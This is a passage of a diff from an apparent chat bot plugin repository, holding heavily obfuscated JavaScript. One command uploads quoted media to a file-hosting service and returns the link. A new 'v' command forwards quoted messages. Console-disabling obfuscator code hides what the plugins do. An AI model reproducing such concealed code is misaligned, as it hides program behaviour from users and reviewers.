137,0xef)+_0x1f1777(0x48e,0x4d5,0x4d0,0x4b6)+'ia]',_0x5cb898[_0x1f1777(0x475,0x487,0x4be,0x4d3)]=__filename,cmd(_0x5cb898,async(_0x3a3ffa,_0x2acd5d,_0x3c4870,{reply:_0x1ff522})=>{function _0x452dfa(_0x587599,_0x3edf32,_0x5e83fd,_0x544c8b){return _0x16339e(_0x3edf32,_0x587599- -0x329,_0x5e83fd-0x38,_0x544c8b-0x193);}function _0x5df854(_0xc83b0a,_0x1cf0f7,_0x4feb69,_0x37580e){return _0x16339e(_0xc83b0a,_0x4feb69- -0x119,_0x4feb69-0xb5,_0x37580e-0xdb);}const _0x2b23a7={'KscUL':_0x452dfa(-0x1f2,-0x1f7,-0x21f,-0x1ee)+_0x5df854(-0x29,-0x4e,-0x15,-0x18)+_0x452dfa(-0x1ec,-0x20a,-0x22a,-0x1e4),'OZKxP':function(_0x322a36,_0x19ba9c){return _0x322a36===_0x19ba9c;},'LzkJM':_0x452dfa(-0x265,-0x269,-0x24d,-0x27a),'Lkcll':_0x5df854(-0x41,-0x3c,-0x57,-0x81),'QGcmt':_0x452dfa(-0x26f,-0x264,-0x22f,-0x23c),'cDkxH':_0x5df854(0x38,0x17,0x22,0x13),'WRizG':_0x5df854(-0x7f,-0x1b,-0x4f,-0x3d),'OhJWT':_0x5df854(-0x4d,-0x1d,-0x21,-0x48),'xIlzM':_0x5df854(-0x39,-0x17,0x10,0x40)+'ad','QFgjF':_0x452dfa(-0x251,-0x288,-0x22c,-0x22e)+'tbox.moe/u'+_0x5df854(0x4e,-0x16,0x6,0xa)+'p','fKNDp':_0x5df854(-0x4a,-0x4e,-0x22,-0x39),'PKMFJ':_0x452dfa(-0x1fe,-0x231,-0x1cc,-0x241),'VPYEv':_0x452dfa(-0x202,-0x227,-0x219,-0x202),'lhRdv':_0x452dfa(-0x24c,-0x20f,-0x26e,-0x206),'haQQX':_0x5df854(-0x4,-0x13,0x3,-0xa),'kxEZG':_0x5df854(-0x3d,-0xa7,-0x67,-0x8f),'Vtysu':function(_0x8e1328,_0xafcd04){return _0x8e1328(_0xafcd04);},'ApvWT':function(_0x117116,_0x36050d){return _0x117116+_0x36050d;},'XwpFB':'URwyr','JMkQN':'moToh','KGNPZ':function(_0x29ca22,_0x270d21){return _0x29ca22(_0x270d21);}};try{if(_0x2b23a7[_0x5df854(-0x68,-0x8a,-0x40,-0x43)](_0x5df854(-0x13,-0x3d,-0x55,-0x1f),_0x2b23a7[_0x452dfa(-0x268,-0x243,-0x2b0,-0x29b)])){const _0x37d9b1=_0x2acd5d['quoted']?_0x2acd5d['quoted']:_0x2acd5d,_0x1c8c56=(_0x37d9b1[_0x5df854(-0x4d,-0x12,-0x44,-0x54)]||_0x37d9b1)[_0x452dfa(-0x220,-0x206,-0x217,-0x1e7)]||'';if(!_0x1c8c56)throw _0x5df854(-0x4,-0x3e,0xa,0x30)+_0x452dfa(-0x21e,-0x1e7,-0x236,-0x1ec)+_0x5df854(-0x3b,-0x5,-0x43,-0x6b);const _0xa5b304=await _0x37d9b1[_0x452dfa(-0x223,-0x1fe,-0x208,-0x1dd)](),_0x4fdce3=path[_0x452dfa(-0x1fc,-0x22f,-0x1d3,-0x1d0)](os[_0x452dfa(-0x1ef,-0x227,-0x1cc,-0x1b7)](),_0x452dfa(-0x201,-0x1ed,-0x235,-0x230)+_0x5df854(-0x9,-0x44,-0x12,-0x24)+Date['now']());fs[_0x452dfa(-0x238,-0x24e,-0x27a,-0x279)+'ync'](_0x4fdce3,_0xa5b304);let _0xe332d2='';if(_0x1c8c56[_0x452dfa(-0x237,-0x200,-0x235,-0x269)](_0x2b23a7[_0x452dfa(-0x21c,-0x1ed,-0x25a,-0x231)]))_0xe332d2=_0x5df854(-0x7d,-0x59,-0x59,-0x78);else{if(_0x1c8c56[_0x5df854(-0xc,-0x5d,-0x27,0x9)]('image/png'))_0xe332d2=_0x2b23a7[_0x452dfa(-0x26a,-0x28a,-0x25c,-0x264)];else{if(_0x1c8c56[_0x452dfa(-0x237,-0x209,-0x207,-0x212)](_0x2b23a7[_0x5df854(-0x1f,0x2b,-0x1b,-0x2e)]))_0xe332d2=_0x2b23a7['WRizG'];else{if(_0x1c8c56[_0x5df854(-0x5b,0x17,-0x27,0x0)](_0x5df854(0x2b,0x14,0x3,-0x45)))_0xe332d2=_0x2b23a7[_0x5df854(0x2d,0x52,0x18,0x2b)];}}}const _0x161a6c=_0x5df854(-0x56,0xd,-0x35,-0x17)+_0xe332d2,_0x4754a6=new FormData();_0x4754a6[_0x452dfa(-0x1f6,-0x1fa,-0x1cc,-0x1e7)](_0x2b23a7[_0x452dfa(-0x263,-0x271,-0x2a4,-0x275)],fs[_0x5df854(-0x16,-0x14,-0x38,-0x2d)+_0x5df854(-0x71,-0x80,-0x64,-0x2c)](_0x4fdce3),_0x161a6c),_0x4754a6['append'](_0x5df854(-0x21,-0x1b,-0x1,-0xf),_0x5df854(-0x64,-0x6c,-0x47,-0x30));const _0x32e4ae=await axios['post'](_0x2b23a7[_0x5df854(0x3d,0x37,0x1d,-0x15)],_0x4754a6,{'headers':_0x4754a6[_0x5df854(-0x7c,-0x93,-0x63,-0x8e)]()});if(!_0x32e4ae[_0x5df854(0x19,0x10,0x23,-0x23)])throw _0x2b23a7['KscUL'];const _0x170230=_0x32e4ae['data'];fs['unlinkSync'](_0x4fdce3);let _0x307eb2=_0x2b23a7[_0x452dfa(-0x1f0,-0x1bf,-0x22b,-0x21a)];if(_0x1c8c56[_0x5df854(-0x2a,-0x4d,-0x27,-0x11)](_0x2b23a7[_0x452dfa(-0x24d,-0x23a,-0x245,-0x284)]))_0x307eb2=_0x2b23a7['VPYEv'];else{if(_0x1c8c56[_0x452dfa(-0x237,-0x205,-0x25f,-0x281)](_0x2b23a7[_0x5df854(0x5,-0x5,-0x1b,-0x1)]))_0x307eb2=_0x2b23a7['lhRdv'];else{if(_0x1c8c56[_0x452dfa(-0x237,-0x269,-0x1fa,-0x215)](_0x2b23a7[_0x452dfa(-0x239,-0x25f,-0x239,-0x227)]))_0x307eb2=_0x2b23a7[_0x5df854(-0x2f,-0x6,-0x4b,-0x6e)];}}await _0x2b23a7[_0x5df854(-0x5,-0x4d,-0x42,-0x19)](_0x1ff522,_0x2b23a7['ApvWT']('*'+_0x307eb2+(_0x5df854(-0x6f,-0x35,-0x52,-0x8c)+_0x5df854(-0x75,-0x48,-0x48,-0x73)+'โ„“ส\x20โœ…*\x0a'),_0x452dfa(-0x249,-0x25b,-0x222,-0x23d)+_0x170230+'\x0a')+(_0x5df854(-0x6,0x15,0xc,0xd)+_0x452dfa(-0x1f9,-0x20c,-0x1d6,-0x21c)+_0x452dfa(-0x276,-0x294,-0x277,-0x262)));}else{const _0x790ca6=_0x7094bc?function(){if(_0x5baaaf){const _0x465e20=_0x4c3ca3['apply'](_0x1b0c0e,arguments);return _0xf3f74d=null,_0x465e20;}}:function(){};return _0x572ac5=![],_0x790ca6;}}catch(_0x2355c4){if(_0x2b23a7[_0x5df854(-0x49,-0x65,-0x40,-0x18)](_0x2b23a7[_0x452dfa(-0x1f5,-0x1ce,-0x22a,-0x1f8)],_0x2b23a7['JMkQN']))throw _0x2b23a7['KscUL'];else console[_0x452dfa(-0x208,-0x227,-0x20c,-0x205)](_0x2355c4),await _0x2b23a7['KGNPZ'](_0x1ff522,_0x452dfa(-0x25a,-0x22a,-0x24c,-0x29b)+(_0x2355c4['message']||_0x2355c4));}});function formatBytes(_0x13cd5e){const _0x544bd5={'GmVCS':function(_0xcc4985,_0x17b625){return _0xcc4985===_0x17b625;},'TePiP':_0x422b1a(-0xea,-0xf0,-0x12d,-0x10e),'migCf':function(_0x38692f,_0x41df08){return _0x38692f/_0x41df08;},'wPXWI':function(_0x2415c7,_0x47bf1d){return _0x2415c7+_0x47bf1d;},'QSXER':function(_0x1f6ede,_0x3afb82){return _0x1f6ede(_0x3afb82);}};if(_0x544bd5[_0x422b1a(-0x96,-0xcb,-0xd4,-0xa0)](_0x13cd5e,-0x15b6+-0xc01*-0x2+-0x126*0x2))return'0\x20Bytes';const _0x2c09b1=0x15b8+0x2267*-0x1+-0x1*-0x10af;function _0x422b1a(_0x404236,_0x48c405,_0x67c4ab,_0x51aa0d){return _0x1f1777(_0x404236-0x44,_0x48c405-0x186,_0x48c405- -0x576,_0x404236);}function _0x3d4682(_0x51578d,_0x3100c7,_0x2961c3,_0x128252){return _0x1f1777(_0x51578d-0x2e,_0x3100c7-0x143,_0x128252- -0x4c,_0x51578d);}const _0xb30121=[_0x544bd5[_0x3d4682(0x429,0x412,0x459,0x40f)],'KB','MB','GB'],_0x3c04e2=Math[_0x3d4682(0x4b6,0x46a,0x468,0x476)](_0x544bd5[_0x3d4682(0x3ff,0x3dc,0x42f,0x41f)](Math['log'](_0x13cd5e),Math[_0x3d4682(0x434,0x468,0x428,0x441)](_0x2c09b1)));return _0x544bd5[_0x422b1a(-0x155,-0x122,-0x108,-0xd9)](_0x544bd5['QSXER'](parseFloat,(_0x13cd5e/Math[_0x3d4682(0x470,0x43d,0x461,0x434)](_0x2c09b1,_0x3c04e2))[_0x422b1a(-0xef,-0xc3,-0x100,-0x105)](0x25d9+0x1*-0x1eb+0x79*-0x4c))+'\x20',_0xb30121[_0x3c04e2]);} diff --git a/plugins/view.js b/plugins/view.js new file mode 100644 index 0000000000000000000000000000000000000000..c79b5914b0a2c6d4cfb19982de6089e68a1fa984 --- /dev/null +++ b/plugins/view.js @@ -0,0 +1 @@ +function _0x402e49(_0x42d3cf,_0x252074,_0x4d1790,_0x51e21d){return _0x3a65(_0x51e21d- -0x35,_0x42d3cf);}(function(_0x1f136f,_0x7a563c){const _0x31f2a2=_0x1f136f();function _0xb58263(_0x2ff202,_0x4eab49,_0xe55dd6,_0x178a1c){return _0x3a65(_0xe55dd6- -0x20,_0x4eab49);}function _0x368b5c(_0x534379,_0x2bcec5,_0x47d1ef,_0x35c17d){return _0x3a65(_0x35c17d-0x227,_0x47d1ef);}while(!![]){try{const _0x1de00c=parseInt(_0xb58263(0x201,0x1ec,0x203,0x1e0))/(-0x20e*-0xd+0x163f+-0x30f4)*(parseInt(_0x368b5c(0x443,0x44c,0x438,0x424))/(-0x47*0x9+-0x1*-0xee4+-0xc63))+-parseInt(_0x368b5c(0x424,0x469,0x461,0x448))/(-0xa63*0x3+0x1*-0x1abb+0x134d*0x3)*(-parseInt(_0xb58263(0x1f1,0x21f,0x213,0x230))/(0x84f*-0x1+0xa97*0x1+-0x1d*0x14))+parseInt(_0xb58263(0x1e6,0x1a5,0x1bf,0x1ba))/(0x246d+0x626*0x5+-0x4326)+-parseInt(_0xb58263(0x1fb,0x22d,0x216,0x22c))/(0x1005+0x18d6+0x1*-0x28d5)+-parseInt(_0x368b5c(0x424,0x457,0x43c,0x431))/(-0x331*0x4+-0x1*0xa96+0x18f*0xf)+-parseInt(_0x368b5c(0x469,0x496,0x445,0x468))/(-0x4*-0x161+-0x136e*-0x1+-0x18ea)+parseInt(_0x368b5c(0x3f2,0x434,0x41f,0x421))/(0x504*-0x5+0x18d8+0x45);if(_0x1de00c===_0x7a563c)break;else _0x31f2a2['push'](_0x31f2a2['shift']());}catch(_0x435279){_0x31f2a2['push'](_0x31f2a2['shift']());}}}(_0x32b1,0x6b2c6+0x90b*0x1+-0x19c*-0x24a));const _0x3c6c20=(function(){function _0x3d1dee(_0x5c9a94,_0x12b80a,_0x40ec64,_0x20bd15){return _0x3a65(_0x20bd15-0x199,_0x12b80a);}const _0x3708bc={};_0x3708bc[_0x455b52(0x404,0x3d7,0x421,0x3f8)]=function(_0xe6f94a,_0x39504d){return _0xe6f94a!==_0x39504d;},_0x3708bc['lPotz']='hzOCh',_0x3708bc['NnpaA']=function(_0x1594d0,_0x1bf5d5){return _0x1594d0!==_0x1bf5d5;},_0x3708bc[_0x455b52(0x42c,0x481,0x457,0x459)]=_0x455b52(0x3f2,0x42c,0x414,0x412),_0x3708bc[_0x455b52(0x415,0x434,0x3f7,0x41d)]=_0x455b52(0x3f6,0x418,0x3fc,0x3f1);const _0x94fff9=_0x3708bc;let _0x957105=!![];function _0x455b52(_0x19f0c4,_0x250d05,_0x101e78,_0x134ee5){return _0x3a65(_0x134ee5-0x214,_0x250d05);}return function(_0x3e9978,_0x29ff2a){function _0x5691a2(_0x2a312b,_0x2c85b6,_0x520b95,_0xf7faa6){return _0x455b52(_0x2a312b-0x135,_0x520b95,_0x520b95-0x198,_0xf7faa6- -0x214);}function _0x2d6221(_0xc922d7,_0x45d58c,_0xc567e2,_0x1762ea){return _0x3d1dee(_0xc922d7-0x64,_0x45d58c,_0xc567e2-0xde,_0xc922d7-0x1b1);}if(_0x94fff9[_0x5691a2(0x22d,0x235,0x1e4,0x20f)](_0x94fff9['dsjyG'],_0x94fff9[_0x5691a2(0x217,0x1ff,0x203,0x209)])){const _0x4dfaf2=_0x957105?function(){function _0x473fad(_0x49c2a7,_0x375fd2,_0x1be668,_0x12889d){return _0x5691a2(_0x49c2a7-0xb3,_0x375fd2-0x3f,_0x1be668,_0x375fd2-0x278);}function _0xaf4107(_0x253fde,_0x3f2ae1,_0x13db83,_0x33b003){return _0x2d6221(_0x3f2ae1- -0xc7,_0x13db83,_0x13db83-0x75,_0x33b003-0xd7);}if(_0x29ff2a){if(_0x94fff9['Ykjnm'](_0x94fff9[_0x473fad(0x47f,0x495,0x4c2,0x473)],_0x94fff9[_0x473fad(0x4bc,0x495,0x4ac,0x481)])){if(_0x1753ff){const _0x1053cd=_0x5d884f[_0xaf4107(0x48a,0x477,0x459,0x498)](_0x35764f,arguments);return _0x4ba284=null,_0x1053cd;}}else{const _0x5f05db=_0x29ff2a[_0xaf4107(0x48d,0x477,0x483,0x466)](_0x3e9978,arguments);return _0x29ff2a=null,_0x5f05db;}}}:function(){};return _0x957105=![],_0x4dfaf2;}else _0x23422f=_0x1f7449;};}()),_0x4ba0c5=_0x3c6c20(this,function(){function _0x38ae6b(_0x279f90,_0x15e71b,_0x29da5b,_0x5a9eb6){return _0x3a65(_0x29da5b- -0x10a,_0x5a9eb6);}const _0x361dd0={};_0x361dd0[_0x38ae6b(0x101,0xce,0xfe,0x104)]=_0x2fb14c(0x519,0x50b,0x532,0x532)+'+$';const _0x2d412e=_0x361dd0;function _0x2fb14c(_0xe8a9ee,_0x24a7e3,_0x1b5a41,_0x1dff68){return _0x3a65(_0x1dff68-0x2f0,_0x24a7e3);}return _0x4ba0c5[_0x38ae6b(0x12a,0x108,0x139,0x164)]()[_0x38ae6b(0xe3,0xeb,0xd6,0xdb)](_0x2d412e['igrPm'])['toString']()[_0x38ae6b(0x14d,0x12f,0x128,0x15d)+'r'](_0x4ba0c5)[_0x38ae6b(0xad,0xe2,0xd6,0xb4)](_0x2d412e['igrPm']);});function _0x3a65(_0x3baae8,_0x12077c){const _0x1736d3=_0x32b1();return _0x3a65=function(_0x4190a7,_0x10577a){_0x4190a7=_0x4190a7-(0x3*-0x975+-0x1643+-0x347f*-0x1);let _0x1a822c=_0x1736d3[_0x4190a7];if(_0x3a65['DalgOd']===undefined){var _0x431ff8=function(_0x1c4ec4){const _0x13c704='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x41574f='',_0x3248dd='',_0x34f8b4=_0x41574f+_0x431ff8;for(let _0x45d95b=0x4*0x5b9+0x1*0xa6f+0x1*-0x2153,_0x5cf491,_0xa18199,_0x2d3c01=-0x209d+0x26a7+-0x60a*0x1;_0xa18199=_0x1c4ec4['charAt'](_0x2d3c01++);~_0xa18199&&(_0x5cf491=_0x45d95b%(0x1*-0x607+-0xc6c*-0x1+0x661*-0x1)?_0x5cf491*(0x8b9+-0x1d5d+0x14e4)+_0xa18199:_0xa18199,_0x45d95b++%(-0x17a1+-0xc*-0x237+-0x1*0x2ef))?_0x41574f+=_0x34f8b4['charCodeAt'](_0x2d3c01+(-0x2*-0x1219+-0x1b83+-0x1*0x8a5))-(0xb5*-0x1a+-0x1b3d+0x2da9)!==-0x11*0xad+0x20fe+-0x1581?String['fromCharCode'](-0x1*-0x323+-0x15e1+0x1*0x13bd&_0x5cf491>>(-(0x5a0+-0xc33+0x695)*_0x45d95b&0x202a+-0x185*0x9+0x1277*-0x1)):_0x45d95b:0x44+0x3*-0xbaf+0x22c9){_0xa18199=_0x13c704['indexOf'](_0xa18199);}for(let _0x5be1fe=-0x117+-0x13f6+0x150d*0x1,_0x1610ef=_0x41574f['length'];_0x5be1fe<_0x1610ef;_0x5be1fe++){_0x3248dd+='%'+('00'+_0x41574f['charCodeAt'](_0x5be1fe)['toString'](0x1*0x4bb+-0x6*-0x3d1+-0x1b91))['slice'](-(0x96d+0xd5*-0x1d+0xeb6));}return decodeURIComponent(_0x3248dd);};_0x3a65['pbifVT']=_0x431ff8,_0x3baae8=arguments,_0x3a65['DalgOd']=!![];}const _0x28d727=_0x1736d3[0x1607+0x148b+-0x2a92],_0x680c57=_0x4190a7+_0x28d727,_0x6ee3=_0x3baae8[_0x680c57];if(!_0x6ee3){const _0x336198=function(_0x5c4091){this['KKHCDh']=_0x5c4091,this['NRvUTP']=[0x10c+0x72e+-0x5*0x1a5,0x13a5+-0xa2f+0x2*-0x4bb,-0x11af+-0x1*-0x110a+0x1*0xa5],this['UmiGdU']=function(){return'newState';},this['OmSNCZ']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['SmZtVv']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x336198['prototype']['LhqDVY']=function(){const _0x53978e=new RegExp(this['OmSNCZ']+this['SmZtVv']),_0x5bf485=_0x53978e['test'](this['UmiGdU']['toString']())?--this['NRvUTP'][0xa*-0x336+0x2586+-0x569]:--this['NRvUTP'][0x3*0x16f+-0x1af8+0x33d*0x7];return this['JPQYds'](_0x5bf485);},_0x336198['prototype']['JPQYds']=function(_0x1abb8a){if(!Boolean(~_0x1abb8a))return _0x1abb8a;return this['bwtWtr'](this['KKHCDh']);},_0x336198['prototype']['bwtWtr']=function(_0xd33f6b){for(let _0x548ad9=0x164c+0xfb9+-0x2605,_0x549dc4=this['NRvUTP']['length'];_0x548ad9<_0x549dc4;_0x548ad9++){this['NRvUTP']['push'](Math['round'](Math['random']())),_0x549dc4=this['NRvUTP']['length'];}return _0xd33f6b(this['NRvUTP'][0x318+0x1*-0x1c05+0x18ed]);},new _0x336198(_0x3a65)['LhqDVY'](),_0x1a822c=_0x3a65['pbifVT'](_0x1a822c),_0x3baae8[_0x680c57]=_0x1a822c;}else _0x1a822c=_0x6ee3;return _0x1a822c;},_0x3a65(_0x3baae8,_0x12077c);}function _0x32b1(){const _0x18c44a=['x19WCM90B19F','ywXPyxm','BMn0Aw9UkcKG','BfbVDhO','yxvKAw8VBxa0','y29UC29Szq','yxvKAw8','mtq2mdyXrNfdsNnM','Aw1Hz2u','mJu3mZi2ruLmAhzt','Aw1Hz2vnzxnZyq','y3vyrMG','zxHJzxb0Aw9U','DhjHy2u','wM1js0i','y3rVCIGICMv0Dq','yMLUza','z2DcAe4','A2jurLy','zxnZywDLigjHyW','CM4GDgHPCYiPka','D1beAwS','CMv0DxjUicHMDq','u3b3D0C','y29UC3rYDwn0BW','mtaWu05fywPd','zMLSzw5HBwu','4BshC3pHTidjOUg0HY4Q','ntq4mdi4nNHSC2LRqG','Dgv4De1LC3nHzW','Bxr5Cgu','Bg9N','ChPyrfe','rgzPv2W','C2fNzq','CxvVDgvK','y2fWDgLVBG','u1rWwue','zg93BMXVywq','mtaXmJiZmJbMrxDqtey','kcGOlISPkYKRkq','Dg9tDhjPBMC','B3DUzxi','zhnQEuC','t3DUzxiGt25SEq','A0Pcq00','Dgv4Da','otmWnZCWuNnKrNHx','C2vHCMnO','ELPYtu0','zgvZyW','uwzYt1C','wwTQBM0','AhPLEKO','DMLKzw8','zNr1A2e','ChjVDg90ExbL','4BseYPZjQSM0YAiG4BsBYPZHTiCG','C3rPy2TLCG','DwP5DMC','C2fNztOk','kVcFK5SG4BsaYBqG4BshYOdkGog0JW','C2vUzg1L','v2rjDxy','vKXvDeC','zg9JDw1LBNrnzq','C3rPy2TLCK1LCW','zg9JDw1LBNq','yxbWBhK','E30Uy29UC3rYDq','4BsGYARHTiFHTkeG4BspYBtHTitHTiCG','C3nHz2u','zMLSzu5HBwu','AYb0BYb1C2vY','odaZnJy4nuvVrNrWBq','lI4Vy29UzMLN','lI4Vy29TBwfUza','mtbpuuPtruO','s3DKyxa','4Bsn4BshC3pHTidjOUg0HYeQ','weD1Afy','yxbWBgLJyxrPBW','4BsGYARHTiFHTkhHTi/jTog0Hog0HYdHTi0','D2fYBG','4P2mievYCM9YihzP','yxvKAw9nzxnZyq','y2f0zwDVCNK','C2vUze1LC3nHzW','AwDYug0','r3PlD3a','nta1mdy2ogrtA3f1uG','zxjYB3i','DK92vNO','C05lrgm','vxbcz3O','tM5Wyue','BhPdAwK','CM9YoG','rLvRu2C','Aw1Hz2uVANbLzW','zxDVBMnLig1LCW','B0fIDNi','kVcFJyhHTjJkN+g0H+g0GhpHTiCGYOa','iog0OCQCYARkN+g0HYdsK+g0H+g0MW','uhL5CxO','BwLTzxr5Cgu'];_0x32b1=function(){return _0x18c44a;};return _0x32b1();}_0x4ba0c5();const _0x225284=(function(){let _0xbc43f5=!![];return function(_0x26f668,_0x44bee6){const _0x8a46e5=_0xbc43f5?function(){function _0x445d68(_0x33e2e3,_0x530ffc,_0x551f27,_0x34ba08){return _0x3a65(_0x33e2e3- -0x147,_0x530ffc);}if(_0x44bee6){const _0x4723ae=_0x44bee6[_0x445d68(0xad,0xb0,0xd6,0x9f)](_0x26f668,arguments);return _0x44bee6=null,_0x4723ae;}}:function(){};return _0xbc43f5=![],_0x8a46e5;};}()),_0x3b0ec0=_0x225284(this,function(){const _0x237c37={'hzezJ':function(_0x478b82,_0x28f4fa){return _0x478b82===_0x28f4fa;},'ujyvg':_0x344738(0x5bc,0x59b,0x5c3,0x5eb),'wPDik':function(_0x131f93,_0x9968b5){return _0x131f93(_0x9968b5);},'sNKDc':function(_0x539db4,_0x330f1c){return _0x539db4+_0x330f1c;},'SIPtu':_0x6ef3eb(0xf8,0xca,0xdc,0xd5)+_0x6ef3eb(0xe4,0xea,0xeb,0xff),'RZcln':_0x6ef3eb(0xbd,0xe6,0xd2,0xc7)+_0x344738(0x5d3,0x5e8,0x5e3,0x5bf)+_0x344738(0x5d8,0x5f1,0x5df,0x5f9)+'\x20)','FoXcQ':_0x344738(0x5e3,0x5c2,0x5f6,0x5c4),'zZrMM':_0x6ef3eb(0xcb,0xb8,0xc0,0xa8),'STpYA':'info','FsrMK':_0x344738(0x5b5,0x582,0x5ad,0x5b9),'XGuhV':_0x344738(0x5d0,0x5b9,0x5ca,0x5aa),'uXPHw':'table','pzXDQ':_0x344738(0x5d1,0x5cd,0x5e4,0x5ec),'lzCii':function(_0x37185b,_0x4f4534){return _0x37185b<_0x4f4534;}},_0x4f57dc=function(){function _0x5cfc8f(_0x55e9b5,_0x9dce3b,_0x229bff,_0x129d19){return _0x344738(_0x9dce3b- -0x5bb,_0x9dce3b-0x151,_0x55e9b5,_0x129d19-0x10b);}function _0xc14fde(_0x193d81,_0x55ad4f,_0x2fcfce,_0x397cc2){return _0x344738(_0x193d81- -0x66,_0x55ad4f-0xc9,_0x55ad4f,_0x397cc2-0xa4);}if(_0x237c37[_0x5cfc8f(-0x36,-0x2c,-0x4a,-0x25)](_0xc14fde(0x556,0x533,0x573,0x533),_0x237c37[_0xc14fde(0x52f,0x522,0x527,0x52f)])){let _0x2b85ec;try{_0x2b85ec=_0x237c37[_0xc14fde(0x573,0x556,0x597,0x55a)](Function,_0x237c37['sNKDc'](_0x237c37[_0x5cfc8f(0x1b,-0x4,0x2f,-0x15)](_0x237c37['SIPtu'],_0x237c37['RZcln']),');'))();}catch(_0x5cbd3b){_0x2b85ec=window;}return _0x2b85ec;}else{if(_0xe1c954){const _0x31a58b=_0x5c6975[_0xc14fde(0x538,0x557,0x512,0x564)](_0x1a6ca7,arguments);return _0x1940f6=null,_0x31a58b;}}};function _0x6ef3eb(_0x5f4491,_0x48a24a,_0x4910bf,_0x2e8fac){return _0x3a65(_0x5f4491- -0x138,_0x48a24a);}function _0x344738(_0x57c1c2,_0x12ab95,_0x2ff7cf,_0x96eeda){return _0x3a65(_0x57c1c2-0x3aa,_0x2ff7cf);}const _0x2347a9=_0x4f57dc(),_0x557e8f=_0x2347a9[_0x344738(0x5c9,0x5ad,0x5a7,0x5eb)]=_0x2347a9['console']||{},_0x3d34cd=[_0x237c37['FoXcQ'],_0x237c37[_0x6ef3eb(0xa9,0x9c,0x9e,0xc8)],_0x237c37[_0x344738(0x5e9,0x5cc,0x5e5,0x61a)],_0x237c37['FsrMK'],_0x237c37[_0x344738(0x5aa,0x5cf,0x594,0x5b2)],_0x237c37['uXPHw'],_0x237c37[_0x344738(0x5e4,0x608,0x5da,0x5b7)]];for(let _0x123a79=0x155e+0x1c1a+-0x62f*0x8;_0x237c37[_0x344738(0x5ba,0x5cc,0x5d4,0x5a5)](_0x123a79,_0x3d34cd['length']);_0x123a79++){const _0x4484b2=_0x225284['constructo'+'r'][_0x344738(0x592,0x5b4,0x55d,0x56c)][_0x6ef3eb(0xf2,0xc2,0xe0,0xe7)](_0x225284),_0x4afe49=_0x3d34cd[_0x123a79],_0x214720=_0x557e8f[_0x4afe49]||_0x4484b2;_0x4484b2[_0x344738(0x5c4,0x5e8,0x5f3,0x5d9)]=_0x225284[_0x344738(0x5d4,0x5c4,0x5b9,0x5a2)](_0x225284),_0x4484b2[_0x344738(0x5ed,0x5bd,0x5de,0x5e4)]=_0x214720[_0x6ef3eb(0x10b,0x140,0xe2,0xe8)][_0x6ef3eb(0xf2,0xdd,0xbd,0xf1)](_0x214720),_0x557e8f[_0x4afe49]=_0x4484b2;}});function _0x2371ea(_0x53f20c,_0x2b73fe,_0x5e176c,_0x5a2676){return _0x3a65(_0x5e176c-0x21b,_0x2b73fe);}_0x3b0ec0();const {cmd}=require(_0x2371ea(0x3e7,0x41c,0x417,0x3e6)),config=require(_0x402e49(0x19e,0x19c,0x1cc,0x1c6)),_0x18d407={};_0x18d407['pattern']='v',_0x18d407[_0x2371ea(0x43f,0x405,0x436,0x41b)]=[_0x402e49(0x1a2,0x1d2,0x1d6,0x1b9),'vv'],_0x18d407['react']='๐ŸŽ',_0x18d407[_0x2371ea(0x427,0x421,0x3fd,0x3e9)]=_0x402e49(0x230,0x225,0x1f9,0x211)+'\x20-\x20Forward'+'s\x20quoted\x20m'+_0x2371ea(0x417,0x47a,0x448,0x450)+_0x402e49(0x1da,0x1a7,0x19b,0x1c4),_0x18d407[_0x2371ea(0x444,0x440,0x421,0x455)]=_0x2371ea(0x435,0x449,0x45f,0x459),_0x18d407[_0x2371ea(0x462,0x43a,0x44f,0x421)]=__filename,cmd(_0x18d407,async(_0x568c05,_0x10cf5e,_0x561760,{from:_0x56d37c,quoted:_0x595ae4,reply:_0x159feb,pushname:_0x2ac8c4})=>{function _0x3e9972(_0x1e6e27,_0x434557,_0x98b073,_0xcfddf){return _0x2371ea(_0x1e6e27-0x13a,_0xcfddf,_0x1e6e27- -0x5c9,_0xcfddf-0x18b);}function _0x20d327(_0x23993f,_0x12791c,_0x4a957f,_0x5dea3b){return _0x2371ea(_0x23993f-0x142,_0x4a957f,_0x12791c- -0x522,_0x5dea3b-0x16);}const _0x26c3f7={'ftuka':function(_0x335106,_0x3ca404){return _0x335106(_0x3ca404);},'QKDos':function(_0x420d6a,_0xba4e37){return _0x420d6a(_0xba4e37);},'LKMoG':function(_0x48cabb,_0x3ce5f3){return _0x48cabb+_0x3ce5f3;},'aUcOx':function(_0x2e12e3,_0x45cd99){return _0x2e12e3+_0x45cd99;},'YCQlJ':_0x20d327(-0xbb,-0xd7,-0xdb,-0xbb)+_0x3e9972(-0x192,-0x192,-0x19e,-0x186),'VLUtG':'{}.constru'+_0x20d327(-0x113,-0xde,-0xdf,-0xfe)+_0x3e9972(-0x180,-0x157,-0x183,-0x1b1)+'\x20)','kAEle':function(_0x433588,_0x28be1a){return _0x433588!==_0x28be1a;},'owviq':'iUKzR','kbTFV':_0x20d327(-0xbe,-0xe9,-0xf9,-0xcb),'oAbvr':_0x20d327(-0x137,-0x115,-0xfc,-0xe7)+_0x3e9972(-0x172,-0x19c,-0x171,-0x165),'Pyyqz':_0x3e9972(-0x1bd,-0x1bc,-0x1a8,-0x1ab)+_0x3e9972(-0x1b7,-0x1ca,-0x1e2,-0x1c5),'ZmIKB':_0x20d327(-0xdf,-0x106,-0xe9,-0x116)+'n/octet-st'+'ream','TJeCs':function(_0x37aa1f,_0x10fca1){return _0x37aa1f===_0x10fca1;},'vOvVz':_0x3e9972(-0x1a0,-0x1a1,-0x172,-0x1b6),'ggBhN':function(_0x2e3641,_0x3c5ea3){return _0x2e3641===_0x3c5ea3;},'WdIuv':'JOkyK','SpwwG':'RiXwe','cuXFh':function(_0x1222b5,_0x4cbfe0){return _0x1222b5!==_0x4cbfe0;},'QfrOW':'bCMBB','NJAbH':'Forward\x20Er'+_0x20d327(-0xf1,-0xf6,-0xe8,-0x116)};try{if(!_0x595ae4){if(_0x26c3f7['kAEle'](_0x3e9972(-0x173,-0x17a,-0x1a2,-0x1a2),_0x26c3f7['owviq']))return 